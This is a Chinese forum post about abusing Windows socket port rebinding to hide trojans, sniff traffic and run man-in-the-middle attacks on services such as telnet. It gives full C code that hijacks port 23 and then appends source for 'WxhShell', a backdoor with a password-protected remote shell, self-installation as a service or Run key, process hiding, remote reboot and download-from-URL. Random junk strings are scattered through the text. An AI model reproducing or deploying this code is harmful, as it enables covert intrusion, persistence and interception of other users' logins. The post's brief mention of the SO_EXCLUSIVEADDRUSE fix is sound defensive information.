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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: T+\BX$w/4e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,}NG@JID  
/];F4AO5  
  saddr.sin_family = AF_INET; )2a!EEHz  
7BC9cS(0w9  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \"5\hX~dS  
Yz,*Q<t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Ys\l[$_`*  
,[A} 86  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 JO _a+Yl  
5~qr+la  
  这意味着什么?意味着可以进行如下的攻击: `/"z.~8  
$T1c{T6n}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +q3W t|  
).-FuL4Y  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) fx*Swv%r  
Z*JZ Ubo-Q  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 C?z C|0  
(bXCc  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  M+Dkn3bx  
nkpQM$FW  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $XJe)  
|/q*Fg[f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 L)Kn8  
fd(>[RP?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *? c~7ru  
zj8;ENhEI  
  #include Y yI|^f8C  
  #include BKN]DxJ6  
  #include ;Eck7nRA)  
  #include    t]Vw` z%G  
  DWORD WINAPI ClientThread(LPVOID lpParam);   62.{8Uj  
  int main() 7m1*Q@D  
  { m'%F,c)  
  WORD wVersionRequested; ;R/=9l  
  DWORD ret; {D7!'Rq,  
  WSADATA wsaData; pnf3YuB  
  BOOL val; }=wSfr9g  
  SOCKADDR_IN saddr; iXBc ~S  
  SOCKADDR_IN scaddr; O^LzS&I*  
  int err; 'A4Lr  
  SOCKET s; q+SDJ?v  
  SOCKET sc; ?L|@{RS{|  
  int caddsize; '?#e$<uS-  
  HANDLE mt; H>M0G L  
  DWORD tid;   >b/Yg:t  
  wVersionRequested = MAKEWORD( 2, 2 ); !]W6i]p  
  err = WSAStartup( wVersionRequested, &wsaData ); (!;4Y82#  
  if ( err != 0 ) { wj Y3:S~  
  printf("error!WSAStartup failed!\n"); <;= X7l+  
  return -1; X\M0Q%8  
  } J`\%'pEn  
  saddr.sin_family = AF_INET; IUwY/R9Q  
   -O oXb( I4  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 $+$+;1[  
sjztT<{Q^-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t@b';Cuv  
  saddr.sin_port = htons(23); #*?a"  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  ~B/|#o2  
  { )5bhyzSZI  
  printf("error!socket failed!\n"); TMGZHOAt  
  return -1; Dj?9 5Z,r  
  } 16x M?P  
  val = TRUE; pp/Cn4"w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 $vicxE~-E  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 7HFw*;  
  { F)!B%4  
  printf("error!setsockopt failed!\n"); %]d^B |  
  return -1; m/CA  
  } cLX~NPD/  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; C#;}U51:t  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  :;rd!)5  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 u2o6EU`  
Ktg6*L/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) )J5(M`  
  { z9E*Mh(NE  
  ret=GetLastError(); E}yl@8g:#  
  printf("error!bind failed!\n"); c[ga@Vy  
  return -1; `[[ A 7  
  } pM.>u/=X  
  listen(s,2); pl'n 0L<l  
  while(1) izOtt^#DZt  
  { t4 $cMf  
  caddsize = sizeof(scaddr); 4WU 6CN  
  //接受连接请求 Z-Zox-I1}-  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,253'53W)  
  if(sc!=INVALID_SOCKET) JoIffI?{(D  
  { *=)%T(^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yn"8Ma*  
  if(mt==NULL) eCdMDSFO3  
  { KTd4pW?w  
  printf("Thread Creat Failed!\n"); |G!-FmIK  
  break; nTp?  
  } `G6Nk@9.  
  } bv-s}UP0  
  CloseHandle(mt); ps^Z)x`GV  
  } sYgpK92  
  closesocket(s); D<C ZhYJ  
  WSACleanup(); /mF%uI>:  
  return 0; <LH(>  
  }   !/sXG\  
  DWORD WINAPI ClientThread(LPVOID lpParam) g/J ^ YT!  
  { 02SFFqm  
  SOCKET ss = (SOCKET)lpParam; $D<LND=o=  
  SOCKET sc; _L<IxOZh+  
  unsigned char buf[4096]; FNtcI7  
  SOCKADDR_IN saddr; ?kISAA4x  
  long num; >@` D@_v  
  DWORD val; \k;*Ej~.  
  DWORD ret; fMP$o3;  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [r<lAS{ .  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ldO6W7 G|h  
  saddr.sin_family = AF_INET; vrLI`3n]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1s"6  
  saddr.sin_port = htons(23); &FW|O(]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *C}vy`X  
  { R6ca;  
  printf("error!socket failed!\n"); ~f;d3dJ]/  
  return -1; 58ev (f  
  } v=RQ"iv8  
  val = 100; ^dM,K p  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zkA"2dh  
  { ;n?H/(6X8>  
  ret = GetLastError(); |Rf4^vN  
  return -1; &J,MJ{w6"  
  } 2 <y!3OeN  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]KBzuz%  
  { (ylpH`  
  ret = GetLastError(); )u7y.o  
  return -1; i*_T\_=  
  } t n>$5}^;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4U( W~O  
  { UMuRB>ey  
  printf("error!socket connect failed!\n"); 0L9z[2sj  
  closesocket(sc); VK5|w:  
  closesocket(ss); 9|jk=`4UK  
  return -1; Z ^zUb  
  } 9~J  
  while(1) 3){ /u$iH.  
  { Xb@lKX5Re  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "u@)   
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 82O#Fe q  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0B7cpw>_J  
  num = recv(ss,buf,4096,0); .BuXg<`  
  if(num>0) pdUrVmW"'  
  send(sc,buf,num,0); FZ)_WaqGf  
  else if(num==0) <DxUqCE  
  break; 2^'|[*$k1@  
  num = recv(sc,buf,4096,0); xlg6cO  
  if(num>0) k z"F4?,  
  send(ss,buf,num,0); B{hP#bYK  
  else if(num==0) Ei2hI  
  break; RP?UKOc  
  } +] s"*'V$  
  closesocket(ss); hN=YC\l  
  closesocket(sc); QVA)&k'T,  
  return 0 ; eo.y,Uh  
  } 38ChS.(  
%9cu(yc*}  
@*`9!K%  
========================================================== # xx{}g]%  
t2Q40' `  
下边附上一个代码,,WXhSHELL BG\g`NK}Z  
y9kydu#q  
========================================================== ?nZQTO7  
I<PKwT/?  
#include "stdafx.h" -HutEbkjx  
bL v_<\:m  
#include <stdio.h> J$JXY@mBSC  
#include <string.h> }D02*s  
#include <windows.h> zkHwoAD;t8  
#include <winsock2.h> +nU"P  
#include <winsvc.h> J{<,V\t)  
#include <urlmon.h> ;<i`6e  
c'ExZ)RJ  
#pragma comment (lib, "Ws2_32.lib") J\VG/)E  
#pragma comment (lib, "urlmon.lib")  ;j|T#-.  
6EfGJq  
#define MAX_USER   100 // 最大客户端连接数 k<x  %  
#define BUF_SOCK   200 // sock buffer -L<''2t  
#define KEY_BUFF   255 // 输入 buffer NZ`Mq  
A14}  
#define REBOOT     0   // 重启 Hyx%FN=  
#define SHUTDOWN   1   // 关机 &.~Xl:lq  
s4h3mypw  
#define DEF_PORT   5000 // 监听端口 UlF=,0P  
9U$n;uA  
#define REG_LEN     16   // 注册表键长度 j{PuZ^v1  
#define SVC_LEN     80   // NT服务名长度 o_C j o  
t F^|,9_<  
// 从dll定义API eJD !dGa  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *E lR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z'FD{xdf  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T"ors]eI  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Twi:BI`.  
lW}"6@0,  
// wxhshell配置信息 2O}UVp>  
struct WSCFG { $C@v  
  int ws_port;         // 监听端口 1xAZ0X#  
  char ws_passstr[REG_LEN]; // 口令 *tkbC2D  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'oNY4.[  
  char ws_regname[REG_LEN]; // 注册表键名 rBG8.E36J  
  char ws_svcname[REG_LEN]; // 服务名 "uK`!{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N]qX^RSb  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 $42%H#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 CtItzp  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /4w"akB|P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Ck<g0o6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 mqPV Eo  
O :P%gz4  
}; :"BZK5{8  
V-rzn171Q)  
// default Wxhshell configuration 'fB/6[bd  
struct WSCFG wscfg={DEF_PORT, R?bF b|5t  
    "xuhuanlingzhe", &Xw{%Rg  
    1, 5T]GyftFV  
    "Wxhshell", aDr46TB`J  
    "Wxhshell", P){F2&!P  
            "WxhShell Service", ;;4xpg  
    "Wrsky Windows CmdShell Service", u`GzYG-L  
    "Please Input Your Password: ", GR&T Z   
  1, -UgD  
  "http://www.wrsky.com/wxhshell.exe", pi`sx[T@{Z  
  "Wxhshell.exe" zSs5F_  
    }; #IH7WaN  
;yh}$)^9  
// 消息定义模块 PP{2{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~xz3- a/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; O}VI8OB(&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5G-)>  
char *msg_ws_ext="\n\rExit."; F^Q[P4>m\  
char *msg_ws_end="\n\rQuit."; \VJ7ahg[\  
char *msg_ws_boot="\n\rReboot..."; f?xc-lX5R  
char *msg_ws_poff="\n\rShutdown..."; 9AJMm1 _  
char *msg_ws_down="\n\rSave to "; L\p@1N?K  
uYk4qorA  
char *msg_ws_err="\n\rErr!"; doJ\7c5uU  
char *msg_ws_ok="\n\rOK!"; MN|8(f5Gs  
-26GOS_8z  
char ExeFile[MAX_PATH]; T/8*c0mU  
int nUser = 0; 9n][#I)a3  
HANDLE handles[MAX_USER]; VeT\I.K[  
int OsIsNt; %DJxUuh  
TM sEHd  
SERVICE_STATUS       serviceStatus; $O|J8;"v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; K]q9wR'q  
7=jeq|&kN  
// 函数声明 xv! QO  
int Install(void); mRI W9V  
int Uninstall(void); Yjo$^q  
int DownloadFile(char *sURL, SOCKET wsh); ((Bu Bu>  
int Boot(int flag); Y)% CxaO `  
void HideProc(void); nr/^HjMV  
int GetOsVer(void); Epm'u[wV  
int Wxhshell(SOCKET wsl); ]@@3]  
void TalkWithClient(void *cs); gHS;RF9  
int CmdShell(SOCKET sock); }^J&D=J5V  
int StartFromService(void); 2+G_Y>  
int StartWxhshell(LPSTR lpCmdLine); J('p'SlI  
8e_ITqV%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,^JP0Vc*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8'+XR`g:ax  
aOYRenqu  
// 数据结构和表定义 9gMNS6D'b  
SERVICE_TABLE_ENTRY DispatchTable[] = 'c#ZW| A  
{ w}Q|*!?_  
{wscfg.ws_svcname, NTServiceMain}, n*\AB=|X  
{NULL, NULL} c9e  }P  
}; ye U4,K o  
C._I\:G^  
// 自我安装 p-U'5<n  
int Install(void) uQ9/7"S  
{ GXaCH))TO  
  char svExeFile[MAX_PATH]; LyA=(h6  
  HKEY key; $jb3#Rj4  
  strcpy(svExeFile,ExeFile); luZqW`?Bt  
VHsNz WI  
// 如果是win9x系统,修改注册表设为自启动 Z iDmx-X  
if(!OsIsNt) { UP:+1Sp9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DvnK_Q!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8<u_ wt@  
  RegCloseKey(key); n }lav  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c4CBpi?}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d87pQ3e:&  
  RegCloseKey(key); {: EQ  
  return 0; DSix(bs9  
    } m^_)aS  
  } aisX56Lc  
} Ov%9S/d  
else { Jg|3Wjq5  
S5RS?ya  
// 如果是NT以上系统,安装为系统服务 ^sH1YE}0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *n?6x!A  
if (schSCManager!=0) n[WXIE<  
{ ?"AcK" v  
  SC_HANDLE schService = CreateService Jg k@ti.}Z  
  ( y)U8\  
  schSCManager, Z<y +D-/  
  wscfg.ws_svcname, s@o"V >t  
  wscfg.ws_svcdisp, B7t#H?  
  SERVICE_ALL_ACCESS, #.}Su+XF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LnZz=  
  SERVICE_AUTO_START, +C\?G/  
  SERVICE_ERROR_NORMAL, cJ:BEe  
  svExeFile, 3v:RLnB  
  NULL, Ltcr]T(Ic  
  NULL, hFa\x5I5  
  NULL, SVXey?A;CJ  
  NULL, #=t:xEz  
  NULL 7Yj\*N  
  ); h.'h L  
  if (schService!=0) n2 ,b~S\e  
  { |c8p{)  
  CloseServiceHandle(schService); 3 ;.{ O%bX  
  CloseServiceHandle(schSCManager); *JO"8iLw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); WF-imI:EK  
  strcat(svExeFile,wscfg.ws_svcname); jy@}$g{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /q='~t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); lu-VBVwR  
  RegCloseKey(key); ~>}BDsM  
  return 0; # FaR?L![Y  
    } ?\\ ]u  
  } $ Qg81mu  
  CloseServiceHandle(schSCManager); L/nz95  
} =#%e'\)a  
} >R!^aJ  
 ^r ;}6  
return 1; !h9 An  
} >47,Hq:2  
nk-6W4  
// 自我卸载 `5e#9@/e  
int Uninstall(void) 2b|vb}|t{  
{ 7Ox vq^[  
  HKEY key; 5W<BEcV\  
j?z(fs-  
if(!OsIsNt) { >y]YF3?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :X`J1E]Rjd  
  RegDeleteValue(key,wscfg.ws_regname); &2?kD{  
  RegCloseKey(key); zP=J5qOZ8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bk4%lYJ"  
  RegDeleteValue(key,wscfg.ws_regname); PI0/=kS  
  RegCloseKey(key); fvNGGn!  
  return 0; m@HU;J\I  
  } XTW/3pB  
} }3[ [ONA  
} bJ. ((1$  
else { R4V>_\D/  
+oQ@E<)H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); M5)6|T  
if (schSCManager!=0) =:a 3cr~  
{ pm)A*][s  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yDd&*;9%Qg  
  if (schService!=0) Pi*,&D>{7  
  { b:%>T PT  
  if(DeleteService(schService)!=0) { /h2`?~k+  
  CloseServiceHandle(schService); $/wr?  
  CloseServiceHandle(schSCManager); `hH1rw@7<  
  return 0; 'inWV* P*g  
  } I/^Lr_\  
  CloseServiceHandle(schService); ?'_iqg3  
  } N pRC3^  
  CloseServiceHandle(schSCManager); L7Skn-*tnA  
} mbS &>  
} UhEJznfi  
&x=<>~Ag3  
return 1; 89 (k<m  
} 5gJQr%pS  
A0[flIl  
// 从指定url下载文件 yobi$mnsy!  
int DownloadFile(char *sURL, SOCKET wsh) 2EE#60  
{ iwmXgsRa9}  
  HRESULT hr; :EA,0 ,  
char seps[]= "/"; OB$A"XGAEV  
char *token; tU)+q?Mw  
char *file; {n1o)MZ]R  
char myURL[MAX_PATH]; 4L5Wa~5\  
char myFILE[MAX_PATH]; 6'wP?=  
iSFgFJG^  
strcpy(myURL,sURL); *4(.=k  
  token=strtok(myURL,seps); `pcjOM8u  
  while(token!=NULL) cIgFSwQ 4  
  { jJ?3z ,h  
    file=token; n7{c0;)$  
  token=strtok(NULL,seps); +JQN=nTA  
  } $fh?(J  
,[ Ytl  
GetCurrentDirectory(MAX_PATH,myFILE);  &$+yXN  
strcat(myFILE, "\\"); Z)?"pBv'  
strcat(myFILE, file); AMO{?:8Y;  
  send(wsh,myFILE,strlen(myFILE),0); TUk1h\.q  
send(wsh,"...",3,0); e@Mm4&f[p  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kF\ QO [  
  if(hr==S_OK) _N<qrH^;  
return 0; V25u'.'v  
else 7z+NR&' M$  
return 1; }Rt<^oya*  
,e,fOL  
} LTa9' q0  
(cCB3n\20  
// 系统电源模块 WnIh( 0  
int Boot(int flag) E26ZVFg  
{ 1[}VyP6 e  
  HANDLE hToken; @7BH`b$)!  
  TOKEN_PRIVILEGES tkp; ~^3B(feQ]  
s'K0C8'U  
  if(OsIsNt) { +"d{P,[3J  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !J6k\$r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8"S0E(,mu  
    tkp.PrivilegeCount = 1; m*a0V  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e1'_]   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); rP>5OLP  
if(flag==REBOOT) { ~i(*.Z) \  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) isDr|g$S  
  return 0; sjzZl*GSy  
}  kU#$  
else { P|64wq{B8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5$O@+W!?@  
  return 0; *.~M#M 9c  
} ?EtK/6dJZt  
  } D%BV83S   
  else { n7Re@'N<  
if(flag==REBOOT) { A).wjd(_,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8cW]jm  
  return 0; & d~6MSk  
} $aVcWz %  
else { UHxXa*HyI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GadD*psD2  
  return 0; oFY'Ek;d  
} 0gnr@9,X  
} ?N`W,  
W}T$Z  
return 1; *d)B4qG  
} ;%Z)$+Z_)<  
3 i>uKU1  
// win9x进程隐藏模块 LdRLKE<'e  
void HideProc(void) ="XxS|Mq3  
{ Q+#, VuM  
G:A` n;E0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uS<&$J H  
  if ( hKernel != NULL ) iXXgPapz  
  { PY) 74sa  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .+ _x|?'  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); xe_c`%_  
    FreeLibrary(hKernel); %)]{*#N4  
  } 7MBz&wE^f  
'{ C=vW  
return; `qUmOFl  
} `A?/Ww>;  
Plt~l3_  
// 获取操作系统版本 SVeL c  
int GetOsVer(void) zvSfW# *  
{ 6LUB3;g7  
  OSVERSIONINFO winfo; `@eQL[Z9x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); C !uwD  
  GetVersionEx(&winfo); 0 5 `x$f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Q?Q!D+~mND  
  return 1; DQwbr\xy\  
  else Xo$(zGb  
  return 0; ^F_c'  
} (?oK+,v?L  
7TlOF  
// 客户端句柄模块 X(N!y"z  
int Wxhshell(SOCKET wsl) OBu$T&  
{ 'Kc;~a  
  SOCKET wsh; ~kF^0-JZY  
  struct sockaddr_in client; \iO ,y:  
  DWORD myID; ql^n=+U  
4fp}`U  
  while(nUser<MAX_USER) @7.Ews5Mke  
{ y1@{(CDp"  
  int nSize=sizeof(client); I+ydVj(Op  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'V } -0  
  if(wsh==INVALID_SOCKET) return 1; 3-z57f,}6~  
o5A@U0c_  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T&cf6soo  
if(handles[nUser]==0) KN_3]-+B  
  closesocket(wsh); U H `=  
else }zj_Pp  
  nUser++; ?3"lI,!0  
  } rVkRU5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); sF f@>  
l g~Gkd6  
  return 0; -PoW56  
} _-^a8F>/19  
qgDd^0  
// 关闭 socket j%Usui<DL  
void CloseIt(SOCKET wsh) 8FU8E2zo  
{ }cEcoi<v!  
closesocket(wsh); 9K~X}]u  
nUser--; PA&Ev0`+  
ExitThread(0); 1H{J T op  
} Jf9a<[CcV  
={B%qq  
// 客户端请求句柄 9J$N5  
void TalkWithClient(void *cs) lE'2\kxI?  
{ /*i[MB  
?s6v>#H%  
  SOCKET wsh=(SOCKET)cs; K>N\U@@8i  
  char pwd[SVC_LEN]; 0EKi?vP@y7  
  char cmd[KEY_BUFF]; k`_sKr]9  
char chr[1]; ;M1#M:  
int i,j; +9<"Y6  
kq8.SvIb  
  while (nUser < MAX_USER) { gwm!Pw j  
X0.kQ  
if(wscfg.ws_passstr) { F}wy7s2i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z8%?ej`8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pE,2pT2>  
  //ZeroMemory(pwd,KEY_BUFF); E{k$4  
      i=0; 9$$dSN\&  
  while(i<SVC_LEN) { ]{s0/(EA  
TD!--l*gL  
  // 设置超时 Qzt'ZK  
  fd_set FdRead; ~}pc&jz>q  
  struct timeval TimeOut; _Dr9 w&;<  
  FD_ZERO(&FdRead); 8BE] A_X  
  FD_SET(wsh,&FdRead); %|AebxB'o  
  TimeOut.tv_sec=8; jmPnUn  
  TimeOut.tv_usec=0; |Bz1u|uc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .o8Sy2PaV  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?I{L^j^#4  
<hvs{}TS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ra) wlI x  
  pwd=chr[0]; 1-0tG+  
  if(chr[0]==0xd || chr[0]==0xa) { /W9(}Id6  
  pwd=0; R-LMV  
  break; ( RO-~-  
  } 70Jx[3vr  
  i++; jVi> 9[rz  
    } oq${}n<  
3>M%?d  
  // 如果是非法用户,关闭 socket 2. '` mGu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0xVw{k}1U  
} =HMa<"-8  
M#n lKj<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *,& 2?E8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e`n+U-)z  
_Z7`tUS-j  
while(1) { ;`Nh@*_  
h?[|1.lJx(  
  ZeroMemory(cmd,KEY_BUFF); ~-R%m  
mC2K &'[  
      // 自动支持客户端 telnet标准   %5RR<[_/;  
  j=0; 3{$vN).  
  while(j<KEY_BUFF) { }`cf3'rdk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @,Z0u2WLl6  
  cmd[j]=chr[0]; <aztbq?  
  if(chr[0]==0xa || chr[0]==0xd) { B6=?Qp/f  
  cmd[j]=0; v%:VV*MxF  
  break; V'hb 4}@  
  } 6_,JW{#"  
  j++; k/P.[5  
    } *4/FN TC  
m< H{@ZgN(  
  // 下载文件 n,U?]mr  
  if(strstr(cmd,"http://")) { ijsoY\V50  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); p8Z?R^$9H  
  if(DownloadFile(cmd,wsh)) |Dt_lQp#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (\0 <|pW  
  else Nv=78O1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &1(- 8z*  
  } nr2 Q[9~  
  else { _Jy7` 4B.  
F~q(@.b  
    switch(cmd[0]) { 1U% /~  
  {{jV!8wK  
  // 帮助  ^M{,{bG  
  case '?': { JIhEkY  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y];-D>jk  
    break; C];P yQS  
  } NV7k@7_{B  
  // 安装 !_vxbfZO  
  case 'i': { SE'!j]6jI  
    if(Install()) Z\?2"4H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N_I KH)  
    else Cb1w8l0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D"J',YN$  
    break;  g5 T  
    } 0z'GN#mT5  
  // 卸载 f(Y_<%  
  case 'r': { /a'1 W/^2  
    if(Uninstall()) N0H=;CIQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"m S$MN  
    else &\1n=y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Jy5sZ }t[  
    break; u<Y#J,p`e  
    }  =*&[K^  
  // 显示 wxhshell 所在路径 l|=4FIMD  
  case 'p': { +LF#XS@  
    char svExeFile[MAX_PATH]; w8XCU> |  
    strcpy(svExeFile,"\n\r"); In?=$_p  
      strcat(svExeFile,ExeFile); TP"cEfs x  
        send(wsh,svExeFile,strlen(svExeFile),0); 3w</B- |nQ  
    break; ;h\T7pwwb  
    } ;xZjt4M1  
  // 重启 HcgvlFb  
  case 'b': { TjyL])$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;eN ^'/4A  
    if(Boot(REBOOT)) &W,jR|B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yEq7ueJ'  
    else { TG%B:^Yz!  
    closesocket(wsh); ;%9]G|*{  
    ExitThread(0); T1]?E]m{  
    } 7Ml4u%?  
    break; h:nybLw?  
    } fC[za,PXaE  
  // 关机 EHk\Q\  
